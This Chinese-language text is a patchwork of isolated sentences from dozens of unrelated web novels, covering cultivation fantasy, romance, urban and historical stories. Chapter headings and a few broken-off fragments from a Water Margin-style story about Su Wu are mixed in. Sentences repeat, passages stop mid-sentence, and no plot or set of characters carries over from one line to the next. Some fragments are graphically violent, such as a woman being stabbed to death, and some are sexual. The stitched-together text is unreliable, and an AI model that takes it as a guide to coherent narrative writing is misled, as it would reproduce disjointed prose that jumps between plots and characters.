却是这魔头与南无乡争斗,看似无碍,实则受了不轻的伤。只好先躲在暗处将伤势修养个差不多。如此伤势虽然稳住,又觉这样恢复起来实在缓慢,恰好附近有座城池,便放出灵狱。 过了一段时间,远处出现了几道骑马的身影,等他们靠近之后,正是高珏等人。 当然这种转化也是很是耗费能量的,死神兽队伍一般是根本不会尝试的,这一次之所以会这样做,也是因为眼前的尤启智是幕后死神兽点名留下来的,要不然的话,对方是不要想着能够这样做了。 霞之丘诗羽随手接过伊乐递来的伊乐,是她喜欢的,与之相处了段时间,伊乐也知道她喜欢什么饮料。 乌恩奇一屁股坐在地上,打完了一架,他感觉整个身体都要零碎了,但却一点儿都不爽,只觉得格外的憋闷。 你通过了斯芬克斯的考验,并取得了对方的信任,接下来,请你聆听它的委托。 第77章 就叫李云龙吧!” 出得衙门,再回军营,苏武显然暂时不准备购置宅院了,一来是舍不得钱,东平府的房价可不低。 二来是最近练兵,就得与弟兄们同吃同睡同住,就住军中。 也还有事要安排,在军营班房里,苏武唤来林卯,问他:“林兄那景阳寨的事准备得如何了?” 林卯答着:“哥哥,头前倒是选定地方,也开始收揽人手,只 从她上大学张开了之后,还真没有哪个男人拒绝回答过她的问题。 算了,不想了,若他目标在自己,定会再次回来,若目标不在自己,只是看戏,那倒也不用过多防备。 他将看不起他的叶家人折磨地生不如死。那个叶笑也喜欢他,但他根本看不上叶笑,反而居高临下地对她肆意羞辱。 沈明珠疑惑,问丫鬟缘由,可那丫鬟也摇摇头,表示并不清楚,只是老夫人让叫人过去。 生命归还,可以自由的控制身体、头发、内脏,只要把意识灌进去后,就可以自由控制任何地方。 男人单手插兜,颀长的身影占据电梯一方,瞬间把电梯的格逼拉了上去。 他们抱怨自己取名难听,没有什么幽默感的玩笑话,好像也在耳畔徘徊。 生命归还,可以自由的控制身体、头发、内脏,只要把意识灌进去后,就可以自由控制任何地方。 睥睨傲然的眼光,一下子柔情似水,白若凝脂的脸颊,也艳若桃腮,倾国倾城。 顾温好似渴了数年的人,忽然找到一汪清泉,贪婪疯狂无止境的舔舐,把自己淹死也无所谓,撑死也在所不惜。 就这样,虞彦不得不反复在空中四处腾挪躲避众多加身与他的攻击。 至今尹晴柔仍旧心存善念,不希望夏凡乱杀无辜,虽然有些人该死,但不是全部,提醒一句后,扶着诗音往外走。 “你是怎么开车的?夏凡要有个三长两短,我跟你没完!他现在怎样了?”尹晴柔来到白峰近前,迫不及待喝问起来。 摩志看着这个将自己撞飞的家伙,心中一片愤怒,突然,摩志的身体消失了,只剩下了那一对亮着凶光的眼睛,紧接着,连眼睛也消失了。 但是上次的结果却是慕容月赤身luo体的暴露在了他的面前,虽然这次家榕玉的情况和慕容月有所不同,可是他也不太清楚到时候会不会发生一些什么尴尬的事情来。 玩了上官煜一把,何跃的心里也就舒服了许多,居然敢当着咱的面泡咱老婆,不戏耍一下怎么对得起伟大的党和人民呢。 绿龙张开大嘴向我咬来,我将巨阙剑一横,卡在巨龙嘴里,疾步后退。 原来,就在六年前金灵儿可以再次动用异体后上官影就开始每隔一个月就开启一次法阵测算空间停留的地点。 赵子龙被这寒风吹得瑟瑟发抖,他此刻只想回到温暖的被我里面,哪里还想跟何韵诗纠缠。 吕蕊见何跃就要离开g市想要说出自己的心意。对何跃表白的时候自己等我弟弟在后面出现了。吕蕊因为害羞跑进了自己的房间。 这种情绪一直持续到汽车一路驶离温尼马卡镇,驶入戈壁,直至她被早晨的日头晒得迷迷糊糊盹过去。 寒宴给修罗开了门,修罗刚下去就大声对着外面的人说话,明显不是夜千宠能听懂的语言。 那厢,庄樊已经喊得口干舌燥,节奏都要跟不太上巫瑾一拍他的肩膀,右手虚握,偏低却精准有力的节拍自喉腔振动而出。 第78章 小乙哥来了! 长及足踝的羊绒连衣裙,浅浅的卡其色,把圆滚滚的肚子勾勒得一清二楚。 众人没有急着吃,倒不是不放心苏云凉的判断,而是源于童破天的建议。 她可是经常看新闻里报导,有些入室盗窃的罪犯,见色起意,先奸后杀。 席昭一眼看到走来的林越清,眼神不自觉朝后面瞟去,这才看到临王就跟在后面。 明蛰闻言有些不舍的看了看林府的庭院屋舍,最后眼神落在林越清脸上,稍稍点了点头道。 她看着聚财馆那三个字,犹豫了一瞬撩开了它的门帘踏步进了赌坊赌坊里人声鼎沸,林越清寻到掌柜。 方山木清楚江边对盛晨的影响太深太根深蒂固,不可能一下子拔出来,他没再多说,再次启程上路。 云珩已经知道云璇玑乃是被云药所抓,而且还在云药手中受尽折磨,对云药早已经没了昔日的尊崇和敬仰。 出战的九个卡拉克西英杰全部战死,但这九个并不是英杰的全部,作为螳螂妖中的精锐,多半还有那么三五个幸存了下来。 自霓裳入内与沈轻舞对峙着之后一直不曾开口说话的秦涟夜,在霓裳愤然离去之后,不禁的揪住了沈轻舞的衣衫,蹙眉开口道,话语之中满是担忧。 他抬头向上看了一眼,桐心叶和池乔似乎吓愣住了,一句话也没说。 穆紫城护着凌东舞从南门侧翼出去,南门涌出的除了皇室贵甲,将官兵卒,还有无数早知早觉的难民,所有人就像后面有吃人猛虎在追赶般,没命的狂奔。 “限定王域白虎吗,看起来不错……”雷雨看着吞噬华雄一切力量的左臂得到的新能力,嘴角露出一丝微笑。 “我爱你,但是我必须去。”说完直接下车,速的离开了,不要车子了,他来不及了,一定要去诗敏那边。 他以为梁以默在意叶辰的讲的那些话,他虽然已经清楚了很多,刚才忍住想上前给叶辰几拳的想法,但那些伤害过她姐姐的那些人,他也不会一一放过。 山风阵阵袭来,罗玄略感周身寒凉,这才想起自己此刻正衣不蔽体,精赤示人,诸碧当下递来他先前托自己保管的红色郎倌服。 “你也笨,打不过她的还要拼命。”心疼地拭去他‘唇’边那殷暗的血,泪止不住流了下来,这毒再不解,他会没命的。 李陆飞绝对算不上优秀,但是相对的比较起来,他的脚踏实地他的实实在在,才是真正面对生活的态度。 当年,爹救下她回庄,她初荷尖尖,雏髻圆圆,姿容貌美,举世无双,聪慧灵秀,胜似天人,娥眉青黛,嫣红脸庞,剪水双瞳,绛唇半点,擦肩冲他一笑,便已怦然心动。 苗苗慌乱而又紧张,还带着难以抑制的兴奋,颤抖着把手伸向李陆飞的衬衫里头,进去的抚摸着他的胸膛。 这时候有康健抿这个老司机在就方便很多了,还有导演伍子牛跟湘南省的一些宣传口的管理领导也很熟,倒不至于让周白不知所措,帮忙着介绍,带领着周白给各个领导认识一下,这一次首映礼的“官”味很浓。 刚才被法国大厨谢尔顿一阵奚落看不起的晦气之情彻底地一扫而空,这个时候,他也觉得无上荣光,这么金灿灿的海鲜炒饭,竟然是自己刚才打下手弄的食材做出来的。 不过就算这样,也只是媲美最普通的圆满之境强者,像白虎掌旗使那般,本身达到圆满,更有法宝傍身,牧易仍旧不是对手。 否则如果单凭他自己,就算寿元能够挺住,可体内也会立即被吸干净。 “看什么看,色狼!”钟思欣没有回答吴用的问题,却像是撒娇般斥骂道。 原本,他就没有想过要放过贾光棍,之所以留着他,是因为他心中还有许多不解之处,此刻听了他的过去,他的经历,牧易便决定,今天不管是谁来,都不能阻止他杀了对方。 众人一通哄笑间,冷怡然已经做好了一桌饭菜,好久他们都没聚在一起了。中午大家一高兴,就都喝了点酒,下午就索性不走了,说好晚上就在院里烫火锅吃,卓雄前天去山里打了一条野羊,今天刚好切片涮了。 但这个时候,被寇篮儿背在背上的木薰儿,却是瞪大了自己的眼睛。 她们两个依偎在他的怀抱里面,绝美妩媚的脸上还带着讨好的笑容,只是这一份笑容已经永远的停滞了。 “畜生,老爸就算死了,你就应该用这样的态度来对待么?看到你这样子,我死不瞑目!”吴用故意把语气说得阴森森的样子,以增强恐怖的效果,只可惜现在是白天,要不然,还真得把人给吓死。 进了里面,只看到人头涌动,在璀璨的灯光摇曳下,都看不到尽头在哪里。 最后经过计算,所有的二手厨具包括那些没有变质的海盐,等等等等所有的破烂加在一起。计算出来的价格是3000美金,再加上先前的那些威士忌的交易,总金额达到了24600美元。 向古二位学徒在水帘山庄也有一段日子了,跟的还是柳百叶学武。 如果外人看到雷九霄的话,就会发现,他现在的剑意,比以往更加强大。 现今又还没有机会吸收她们娇躯里的木气,不然可提升身手实力,只要比她们强,那就不怕她们了。 第79章 主人饶命 眼前哪里是她的相公齐丰呀,看这男子蹑手蹑脚的样子分明就是一个偷麦子的贼。 她可不像鹰王,废话太多,最终落得个任务失败、惨淡死去的收场。 “你知道他现在在哪里吗?人好不好?有没有受伤……”明好赶紧问道。 苏若璃的是四段玄师的事情早就通过方彬的嘴巴传了出去,所以此刻和苏若璃对战的都是二段、三段玄师,最高修为的是四段玄师。 哪里知道,她不这么说还好,这么一说,大家再看着她手上拎着的包袱,都是一言难尽。 “对了,阿力,怎么突然到了这么多人?”秦凡看着满屋子黑压压的人一阵皱眉,忽然后悔起来。自己这次好像玩的有点大了。 那时候他还想过给纪雨萍些许的教训。所有私下里,跟他的靠山李勇李县长提过一嘴,想把纪雨萍从检察院弄公安局来,然后慢慢玩。 果然。真如二叔所说,秦凡感觉身体和精神都达到了巅峰,和往常没什么差别,甚至还饱满了许多。 不过,不高兴归不高兴,都是乡里乡亲的,大家来借钱,他自然不能拒绝。 而这嚣张跋扈的声音的主人就是顾春华了,也就是这壳子的亲堂姐,她一向瞧不起二房,所有当着李燕聘的命辱骂顾明珠也是常有的事儿。 这火焰山,其实也就是火之极地,正是她得到了元素爆破师职业传承后第一个获得元素洗礼的地方。 【封印魔法阵】:当三大封印魔法阵出现相同嵌入的幻象之珠时,可解除全能之玛特伽封印在空间之内的对应幻象之兽。 这种披着生灵外衣的灭世之劫不就是披着羊皮的狼吗?还不如灭世之劫来的纯粹。 早在多年来八千里大山之前她就曾听说过一个传闻,这八千里大山里有一头异兽,那头异兽万物的精魄本源为食且极其凶狠。 欧阳千云还没反应过来,“啪啪”两个清脆的耳光落在他的脸上。 “今日是时常大会,不如凌妹妹表演一下才艺,我才告诉你。”顾明珠神色清冷,挑眉看向力凌凤轻声开口道。 所以,盛老爷子还是生生被气死了,除了自己的执念,看不开,更因他害了考验一条性命。 她这种情况,有点类似于做着抽奖机的工作,就突然被抓上了战场。 对于没有参加过新兵连的纳兰军来说,能够和这次军训相挂钩的,恐怕只有他在大学期间参加的军训。 “卡鲁斯科夫!怎么样?”看着自己的卫队队长,雷切尔的脸上依旧面无表情。而眼前的男人就是黑暗议会第四议员的卫队队长,拉鲁斯科夫,原来是北极熊的特战队员,退役后被雷切尔看中,成为了他的卫队队长。 在看到江天宇的神色的时候,就知道对方心情不太妙的江辰就对纳兰军打了一个眼色,示意对方回答江大队长的问题。 不过据传说来说,温蒂尼的丈夫如果出轨,必然会遭受柴刀命运。 如果可以,他宁愿一直以下位神去将他现在雷、火已经领悟的3种玄奥全部融合。 洪荒猛兽的气息占据了擂台,赵晴空心神失守,只觉得处处都是齐林的后手,只能选择硬接齐林的象形冲撞。 当然,要是看不到那张不停的喘着气像是被下药一般绯红的俏脸,慕凡差点就信了。 杜家能在民国崛起,是上三旗的可能不大,唯独可能是下五旗中的一个。 而杜浩则是慢慢悠悠的缓缓起步,根本就不在意前方已经抛出去十几米的石强。 而现在的雷切尔,虽然拥有至高无上的权利,但是他的心里却从来没有开心过几次,而唯一让他感到兴奋的就是看到自己的权利越来越大,势力越来越大。 见这三人的衣服都是湿透的,我眉头皱了皱,便跑到厨房拿出来了一些干柴,一来给他们取暖,二来的话就是给他们烘烤衣服了。 刘方氏来了,对这个儿子问都不问一声,只一门心思的想要她的东西,难道屋子里躺着的那个,不是她十月怀胎生下来的吗? 一眨眼,过去了7年,机场包括整个国家,好像还没有走出迷雾。 再所谓的第一,也不过是在三座仙山里排名第一,要是和外面比,一座孤立的方丈或者是瀛洲,同样是不堪一击的。 不知道何事,两个抱在一起,口舌相交,双手互相在对方身上移动。 她和姐姐汤心如长得很像,只是除了身材比汤心如更加高挑一点,也更丰腴一点,比起姐姐白皙的皮肤,她肤色略微暗沉。 琼州大学有十来学院,七个学院学生会,偶尔还要指导他们的工作,真是一刻不得停。 李欣的室友们不全是游戏迷,但是都热衷于QQ聊天、在线听歌、看电影,看到秦梦瑶巾帼不让须眉,干脆利落的把五个男生斩在枪下,马上过来凑热闹,站在秦梦瑶后面,帮同性加油助威。 之后又是一阵痛哭流涕,不管大臣们是不是真的伤心难过,这个时候如果不表现的悲伤一些,绝不会有什么好结果。 “云老哥,辛苦了!”林海诚恳道,随后朝着山顶看了一眼,不由一皱眉。 “你不用怀疑谁!没有人告诉我,也没有人暗中给我消息!如果你要追究,那就问你自己!是你给了我视频,也是你让我发现了画面里面阳光照下窗户镂空的图纹!”蔓生眸光冷凝,她直接道。 第80章 孩儿拜见义父! “此时要饶命?头前怎不知廉耻?” 员外咬牙切齿的话语,与钢刀并在一处,那两片酥胸之间,钢刀就去,一团血红迸溅。 贱妇当场躺倒在床,双眼瞪圆,双手捂胸,喉咙之中呃呃呜呜…… 瞬间,满床血红一片…… 只待卢俊义连杀两人,左右来看,一个无头之人衣衫不整倒落在地,一个胸口大开,满身血 林艺叹了一口气,上前轻轻将李莲月抱在怀里,一只手沿着她的脊骨拍了几下,无声抚慰。 跟之前的那一拳完全没有区别,叶玄抓着蓝兵的手腕,任由他如何的挣扎,都无法将手给抽出来。 在林凡心中,能称之为家人和朋友的不多。但是吃货烟鬼傻子,都算是为数不多的家人,因为是他忽悠着他们签订了契约,成为了契约兽。 对方的身法非常厉害,可以说是悄无声息的就来到了叶玄的背后,还非常谨慎的利用陷阱做了掩护。 流无飞拼命的回想着流宫倩精致的五官,恍惚中仿佛眼前还能浮现出她那精致的脸颊。 失魂落魄的走出房间,孔卓抬眸便看到那正靠在墙上朝他笑的晴晴。 封承眉心微蹙,正巧收到公司的信息,说查出来几个搞事搞得最起劲的是某某公司养的营销号,而且刚好就是姜江所在的公司。 殊不知,车子离开之后,从角落里走出来一个蓬头垢面的男人,凌乱头发显露出那双阴鸷的眸子,一直到车子离开视线。 “让我怎么救他,这混账东西。自己手脚不干净不说,还是个软骨头。这才刚到悬镜司多大会,自个把什么都招了。这白纸黑字,签字画押,让我怎么救他,随他去吧。”冯去疾气恼的说道。 青霜笑望着心儿脸庞上那暗泽斑痕,心中当即释然,想必这些斑痕便是当初患上麻疹时落下的吧。 义安清楚地看到可祢眼中的光芒,她在渴望着爱抚。她唇边的妩媚和恐惧,使义安胸中的烈火燃烧得越发旺盛。 “义兄,你是否会全力助本宫母子安然?”青霜并未正面回答曾少聪,反问道。 “奥~~~竟有此事!说吧,到底是怎么回事奈奈要召见你。”西乡灌久的如实相告令松上义光也有些意外,于是他便顺势装作不知的样子让西乡灌久说下去。 “……?”洪承畴不禁愕然,一时怔住,迟疑片刻才说:“为王前驱,何敢惧死!卑职之意不在讨要人马,是想请二位大人给卑职临机决断之权。”洪承畴心头一阵酸热,大觉委屈。 蒋青峰见罗森正一脸平淡的坐于餐桌上,一口一口的啃食着水果,神色间并无任何的担忧之色后,不由得撇了撇上,一屁股坐在的其对面,抱怨道。 随即,白恒之手臂一抖,将她抛丢到床上,幸好有被子垫着,所以没摔疼。 方才两人的交手对拼虽暂,但其中的凶险程度却让凌云后怕不已。若非凌云事事安全第一,绝不行险而求侥幸,没有趁对方惊愕之际顺势反扑,只怕就要吃大亏了。 好吧,凌云之所以不待见这首歌,其实主要原因并不是这首歌不好,而是彻底的听恶心了。 而切入安全区的点,就在安全区与非安全区距离最近的那里,按照郭奇的说法,这里很有可能会被距离更近的敌人提前占据,而若选择冲点钢枪,他们也需要去抢占这里。 第81章 拔毛虎武松(为盟主【在云端呢】加更) 大早,苏武在一个小巷子里上了车,栾廷玉来驾车。 车里,两具被裹得严严实实的尸体,绳索绑缚无数。 苏武叹了一口气,只说:“往东城出去……” 倒是头前多虑,出城之时,并未有人上前来认真检查。 如此,一路直奔东平府阳谷县去。 弄几个贼寇来杀这件事倒是好说,东平府里别的不多,贼 “算了,不想去了。”洛青羽摇头,貌似最近流年不顺,她走了背字,倒霉的事频频光顾她,她需要静一静。 这一段时间的变化谁能知道,难怪凤北烈会这么担心了,就连她自己也有一些担忧这一次的行程了。 皇后脸上瞬时青红交接,发怒不是,却又在生气,忍得脸色都变了。 之前还斗志满满的要与魔灵抗争,只是去了一趟妖界这天差地别的转变是为什么,在妖界到底发生了什么? 玄离霜看见凤珞铭心里的气就不打一处来,想到他先前的所作所为更对这个男人凉透了心。 比起尸横遍野的场景,更让人受不了的是马车旁边的男人那一脸不悦的模样。 “父皇一直都对权力和性命看的很重,年纪越大就看的越重了,现在已经变得为了把权力集中就不肯放手什么事情都愿意做的地步。 四人你看看我,我看看你,端详起手中的纸,赫然见到上面最大一行字写着“论高武的第一个境界:刻意”。 巫凌儿若有所思的点了点头:“难怪萱姨当初说过,绝对不许我乱动家里家具的摆设,这种东西在房间里还有不少吧?不会被别人看到吗?”。 见燕鸿久久没有动作,景烛忽然朝着燕鸿打出那只一直藏在身后的手,蕴藏着他七分力量的攻击就这么直接打在了一个不注意走神的燕鸿魂体上面。 “什么?她要进叶氏集团?怎么回事,之前她可都没有提过,怎么就突然就……”罗娟大惊。 上流社会看着光鲜亮丽,背地里多少的肮脏事,她叶灵卉还算是知晓几分,所以,林奉远是那个意思么? 早知道她也跟着一起去了,这和自己前世做销售的时候不是差不多吗? “哼哼,话不要说得太满!见到凶手了你再决定吧!”令妃凝神贯注着前方,眼睛不眨一下,冷酷地说。 她边摆弄着食材边若有所思,直到摸到东羽珠,一个一石二鸟的计划才迅速在她脑子里成型。 “所以,我还要让慕容对虞玥傲的喜爱值增加?”云筱嘴角微微一抽。 但是打开纸条,看到字以后,云筱清楚的看见贝易木嘴角轻轻一笑。 丁一上班后,路过传达室时,工作人员交给她一沓信。自从丁一主持阆诸新闻直播以来,接到的信件一下子多了起来,当然,都是观众写来的。 一人做百十样工作,别说是胡赛花没见过,就是毒念央也看的一愣一愣的。 随后急忙整理了一下自己的衣服,就起身走了出去,听着里面哗哗的冲水声,叶开不满的冷哼了一声。 外面的待头亮着昏黄的路灯,但是,这里是烟花一条街,距醉红楼不远,还有几家风月场所,故而,声色之声还是很大。 执法尊者,是不怕,杂役造反。甚至不惜,杀几个立威。但那些杂役的存在,却是大林寺的基石,如江河之中的流水。 温柳儿确实很难过,低垂着头,目光却偷偷盯着素雪,恶意和嫉妒仿佛可以凝聚成毒针扎在她身上。 第82章 父亲,你得奋斗啊! 两天之后,栾廷玉回来了,带了六具尸首。 只待一两天后,大名府那边发来协查的公文,这六具尸首连着头前的两具尸首,一并送到大名府去即可,当然,也要做一些案卷之类。 兴许卢俊义还要把这两人好生葬了去,想起来,卢俊义心中多少还会有点恶心。 苏武对这事倒是不多想了,而是问栾廷玉:“那朱贵没有 也不怪帝天有所疑问,如果敌人的神识比自己神识强上不少,强行抹除储物戒上的神识烙印是可能的。 提起了绿梅,盛愿却生出一股害怕,绿梅固然可恶,可她何尝也不是犯了错。 就好比你不能看见风,但是你可以通过风车看见风,你不能看见许许多多的东西,但是可以通过另一种介质看见,练气也是一样,就是看修炼者能不能感受到一些常人不能感受到的天地之气。 而天空出现了一头百丈长的黑色巨蟒,这巨蟒就是上次送他们来的泰坦。 所以,没有了未来,只剩下绝望,他的世界就是一片漆黑无光,在这种情况下,他已经没有了任何求生的念头。 当然在会德丰集团,依旧有着大量的外籍高层,他们更多活跃在航运、电讯、码头、能源等上面;整体上,会德丰集团的洋人高层还是占据主流。 她与武安侯府定亲的消息早已人尽皆知,关系要好的宫中姐妹纷纷前来恭贺,以前司籍司的姐妹,包括阮典籍与房典籍都在替她开心,可苏司籍却从始至终不曾露面。 安娜没想到牧凡早已不在房间,她还以为牧凡一直在房间休息呢。 赵焱抬头,就这样看着琳琅,细碎的眸光好像万千的星光一样闪烁。 当初思思结婚那么早其实也是因为没有很多的关爱的缘故,这点使得她没有看清那个男人真正的本质的时候,就已经和人家在一起了,要是说起来的话,思思是一个十分可怜的人。 随着滑稽的声音响起,这一场战斗终于落下了帷幕,他看着软绵绵倒地不起的家伙,微微一笑对上了二楼那欢喜的目光。 张江、黄石,统带两营团勇,随着王继昭鱼贯而出,直奔援兵的营盘。到了营前,守门的军士,认得王继昭的旗号,不敢阻拦,大军蜂拥而入。 “他们家的人还真的都是听极品的呵呵。”楚风看着吴瑞如慢慢的说出了自己听了这样长的时间以后得出的结论。 钟凌羽摸了摸鼻子,这位云翳还行,最起码没有强逼他交出斐琳娜,不然他还真的一点办法都没有。 冰霜梦魔惨叫一声,在一只倒地不起。慢慢的我们杀冰霜梦魔找到了诀窍,一开始我偷袭去引冰霜梦魔仇恨。萧祸趁机发动技能,封住她的行动。安凌夕查到不对就用一些破招式的技能。 这哈离哥天马行空地想着,看那落日和晚霞,他真得感到很幸福。 郑鼎收到粮草,虽然按要求是少了一半,郑鼎并不罗嗦。当日即拔营启程,领军直奔阶州。韩庆不放心,远远派出斥侯,只跟了三日,看郑鼎军去得远了,这才放下心来。 虽然没有看到撞击时的情景,但李天畴很清楚发生了什么,不由的心里一沉。而武放此时看着倒视镜也格外沉默,好一会儿才挥手示意袁华加速,车上的气氛突然间变得沉闷。 至于三泉董贤,比邻勉县,手下军兵也少,无需大动干戈,只需命令勉县的符积暗自领一千精锐,以换防为名,偷袭便是。 第83章 畜生呐,畜生都不如啊! 官道之上,马匹十几,人八个。 马背之上的人,皆是劲装短打窄衣,长枪在侧,长刀在腰,风雨斗笠在头。 若是细看,还能看得有人背着大皮包裹,包裹里鼓鼓囊囊看不出是何物?其实是弓弩箭矢。 众人往北在行,领头一人还说:“青州六百里,先往北好走,再往东平坦,快马可在四日多。” 身旁一个汉 中午吃饭的时候,赵子龙没有像往常那样离开,而是留在食堂看还有没有什么没照顾到的地方。可见这次,赵子龙也憋足了劲儿想搞好乡政府招待所。 两个鬼差洋洋得意,一人背着一把鬼头刀,就等着头七一过,把林星辰给生擒活拿,让你装逼,让你嘚瑟,让你不鸟我们俩,我们哥俩可是这一片出了名的鬼头兵,谁见了不给点面子。 秦霜失败之后,一直对赤炼空或者是持剑峰有所,因为赤炼空是除了夏铮之外第二个将他击败的对手。。 他到狄圣华的办公室晃了晃,又到王红芳的办公室报了个到,还抱着二人好生亲吻了一阵儿。他这荒唐的举动,落在郑红刚的眼里,令他暗自冷笑。 陈稻麦看了眼在田边发呆的陈飞,他瘦弱的身子让陈稻麦沉重的叹了一口气。 看着一身警服的青连,这身装扮没想到穿在他的身上,竟然生出了不一样的感觉来。 …还能说会道呢,你不就是胡搅蛮缠外带威逼利诱么…不过正好,何夕想要武器也必须靠夏洛克帮忙租赁,看来这个忙何夕是非帮不可。 沈念一的手抬起,做了个很轻微的手势,一道人影从隐匿的位置现身,单膝跪在角落,一动不动,仿佛与墙角的阴影已经融为一体了。 那个队长顿时低下了头,不再言语。有霹雳火都没有成功,不要说现在霹雳火几乎用完,根本无法和敌人拼斗。 林风虽然没去上班,但不代表他不关心公司的事情。就在请假的时候,他就已经拜托杨凡去监视公司的情况,公司只要有什么大事发生,他第一个就会知道。 因为这廖家最主要的业务便是岛国那边的业务,有一家保安公司,里面全是岛国人,而根据白少爷内部得知的消息,这些人全部都是岛国那边的山口组成员。 “想不到玄灵大陆竟然是这样,竟有表世与隐世之分。不过,无论是表世还是隐世,无论你去到哪,我都会与你一起,与你一起寻找那黑衣人的宗派,陪你一起到达炎魔师傅所说的那个层次。陪伴你一生一世。”夏馥芸说道。 秦风也在心里想了一下,林雨说的赵阳,应该是专门负责仙门内灵矿的修士,此事应该是他策划。 数千逐鹿学院弟子心头一紧,难道院长的徒弟就这样死掉了,还灰飞烟灭?那为何院长没有一丝难过之色? 秦风打开葫芦,大量的黑色尸液夹带着腥臭的腥风对着其中两名修士喷涌而去。这样的东西,只要是人都知道威力,被碰到一点,就是烂肉的下场。 在秦风的心神之中,一道犹如黑暗地底深处的声音传来,秦风并没有理会,而是看了一眼不远处的慕容楣雨。 秦风慢慢操控者丹炉下方的火焰,随着异香飘出,秦风慢慢熄灭了丹炉下方的火焰。 烟花在墨色的夜间绽放,远处有风铃阵阵,撩动护城河的水,一时水面波光粼粼,倒映着满城灯火。 第84章 此番奔的是好前程 迎春再怎么想要窝在自己房中,也还是需要去老太太处请安、陪老太太说说话的。 得到了一致的好评,吴华心满意足,就好像这部电影是自己拍的一样。三人走出了电影院,吴华的手机刚好响了起来,拿出一看正是王家卫。 尽管凯杨怎么的无理取闹,她还是很愿意很耐心的想把话说清楚,可是看着坐在凯杨旁边的晓凌两人的动作有些过分亲热,佳瑜气到话都说不出口了。 吴华随手拽了一张纸算了算,如果他要拍这部电视剧,起码要多少万的资金才够用。这个数字最后已经远远超过130万了,看来在拍电视剧的这期间,他还要多想几个办法去挣钱。 朱茵在一旁,也是略带期待的看着吴华,看着周星驰翻开剧本,朱茵竟然鬼使神差的走了过去,他也想看看这个所谓的给陈凯歌投过剧本的少年,会写出些什么大作来? 她正想得入神时,就听到咕噜的一声传来,转过头就看到梦星晨捂肚子,红着脸的低下头,眼里除了尴尬外还有一丝恐惧。 这股常规势力之外的庞大力量,即便徐阳想忽略,也是不可能的。 吴华看着突然出现在碗里肉,又看了看给自己夹肉的老爸,心情终于平衡了些。 随后,他们又聊了一会儿公司其它的事情,叶子峰最后告诉马诗晴,这轮行情结束之后,他将拿出总利润的10%的金额奖励大家。 “你们进去时,有没有看见其它东西?”他们还不死心,以为肖玺他们先进去,把值钱的东西拿走了。 叶天笑没有将萧牧的事情告诉他们,不是不相信他们,而是没有必要,既然对方不想要让洛白夜和豆豆直到他的存在,那么他自然会尊重对方的决定。 光头噼里啪啦的说了一大堆,余援军仔细的听完之后,点了点头,这个光头虽然看起来十分凶悍,但是这个规矩定的却一点问题都没有。 不见五的黑暗,笼罩着所有人,在呼啸风声中,谁也感觉不到自己身旁是否有着人的存在。 虽然他知道楚云洛不过是为了气楚天明,可哪怕只是说说他竟然也会觉得高兴。 想了半天,总算是想出点眉目,可能是因为特种兵是全军里尖子中的尖子,他见到自己的时候,那种眼神是不屑一顾的,那自己高高在上吼他们、审讯他们,以他们这么傲的性子,肯定不愿多说话。 但是到此的鬼物阴灵也不少,少年想到自己与老者是其中之一,便觉自豪。 林轩一愣,旋即明白过来,暗中咬牙切齿,胡三爷这老家伙真不是东西。将管一君弄晕,与管族索要宝物,他反倒成了苦主。 养殖连长挂完电话后,脑子里除了惊讶以外,还有一丝不解。 本来,他的内心是充满骄傲的,从不将中国人放在眼里。自从带队以来,一路都是轻轻松松地深入他国土地。 冷画屏一口喝下,就赶紧塞了两颗蜜饯含着,才觉得口中苦味少了许多。 黄玉霞留下保管飞船,万一情况有变,她将会驾驶飞船去救人、接人。 “墨岚将军这是要前往北周?”玉苍真人轻声问道,他态度极为恭谦,自从他和幕毅一战之后,他对于墨岚的态度就微妙起来,而眼下他更加恭谦了。 虽然只是上任一天,但是面临的麻烦事,却越来越多。不过,该来的躲不掉,只能坦然面对。 “难道是将军?!”在幕毅的府邸内,张虎和白龙仰望高空,心底暗念道。 现在的洛千帆和以前相比,已经变了很多。他懂得把情绪压在心底,不外露出来。 随后,伴随着一道震天炸响的爆裂声,巨大的阔斧直接爆开,在虚空之中炸裂,化成漫天光点。 顾明远回去没两天的功夫,报纸上便是北山沟天花菌实验成功,铺天盖地的新闻。 而此时江晨的眼睛里面,也没有了第一次见到他的那种清澈的感觉了,反倒是有些呆滞。 薛明睿深深地又看了眼林暖暖,将她这一瞬间来回转换的神色看得一清二楚。 走着走着,他们却停了下来。因为在他们正前方,一个穿灰衣的人背对着他们,挡住了去路。 还有秦明月,虽在信笺里口口声声说看不上林鹏,只怕也是负气之语。 “我走了,曹天佑你自己看着点。”陆濂懒得理会季时年,这神经病自从正常之后,变得更加神经病了。 其实,李林一直有个疑惑,这淡水湖场景难道只是为了给他们前期捕鱼用的?因为自从海洋场景开启之后,就很少有人再回淡水湖场景进行捕鱼了,毕竟,海洋场景的鱼的给的经验值多,给的兑换金币也比淡水湖场景要多。 第85章 倒也好耍弄 只待最后一顿酒去,落了夜,二龙山寨子里,四处一片狼藉,更是火光冲天。 众人趁着夜色下山去,拢共五六百人,其中也还有老弱。 只待到得山下,又起一片火光,曹正便是牙一咬,那不大的酒店,也就不要了,倒是曹正还带着妻儿。 众人这回就只能走山野小路了,并不往大路去。 此时,清风山那边, 杨开将他的掠宝蛇活生生咬死,阎休然对杨开可谓是恨之入骨,这些日子杨开饱受的折磨,也全都是他教唆的缘故。 从进门开始,朴圭利就感受到了很多不友好的目光,遇到的工作人员,练习生,看到她的时候,眼神都带着怪异。 关于明星和记者,这两者之间的关系,永远是剪不断理还乱的关系。不过,一般的大牌明星举办演唱会,现场都是会有一些大型媒体的记者拍照什么的,这也是宣传的需要才如此的。 杨开又仔细问了一下赑屃当年进入破碎天时遇到的事情,赑屃自无不言,只不过他当初也没太深入其中,所了解的实在不多。 为什么?便是因为他没有在这上面下过苦功,所以说利用妖命之力山寨出来的也就是花架子,吓唬吓唬人可以,拿来克敌制胜还是免了。 第四项纪录是唯一一个在刚刚拜师完毕,就再次去拜记名师父的弟子。 那老狗最后一掌,不但是要取杨霄的性命,同时也是要分散杨开这边的精力,好让他从容遁走。 在扫尾过程中没有发生任何战斗,也没有在下水道里发现魔性之种的踪迹。把所有的事物丢给王国军方之后,我又一次的被强行塞进了某黑色箱子中,继续在氧气瓶的相伴下玩起了手机游戏。 既然本来就已经心动不已,这次出国没有成功,看来也是上天在帮助自己做选择,不如就顺应心中的想法,给未来一些改变。 左邻右舍当然也听到了林家的惨叫声,可是谁敢为了林家招惹钱婶引火上身? 可等玄一走开去后,她也不再起身,仍旧以同样的姿势呆滞于原地,她手中找到了几颗珠子,却还有更多的珠子没找到。 